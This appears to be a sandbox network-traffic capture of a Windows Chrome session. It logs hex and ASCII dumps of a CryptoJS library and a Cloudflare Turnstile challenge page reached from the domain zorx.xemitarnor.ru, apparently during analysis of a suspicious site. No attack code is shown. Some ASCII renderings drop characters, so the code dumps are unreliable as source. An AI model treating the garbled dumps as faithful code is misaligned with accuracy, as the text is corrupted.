2025-01-15 12:08:18 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 600709 Expires: Mon, 05 Jan 2026 12:08:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pE07%2BnjuzeLFTbAdLcl4Jc1y7H8jHBli3QwV%2BfzSSlXv4UlJBlI%2Bve6QF9ypBl7oJzLT9rI8G5F4dLjtaISfikyLkstt3VgKxQw5skX7ev3W86UIsUB5ZRY5jqdPt7OHM649KWeT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9025c01dd93b0f4b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 12:08:18 UTC	411	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-01-15 12:08:18 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49784	104.18.94.41	443	332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 12:08:19 UTC	798	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/rufw6/0x4AAAAAAA5J_zo6B27ku3kM/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://zorx.xemitarnor.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 12:08:19 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 12:08:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26635 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-15 12:08:19 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 32 35 63 30 32 31 37 65 66 39 30 66 38 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 9025c0217ef90f85-EWRalt-svc: h3=":443"; ma=86400
2025-01-15 12:08:19 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-15 12:08:19 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes 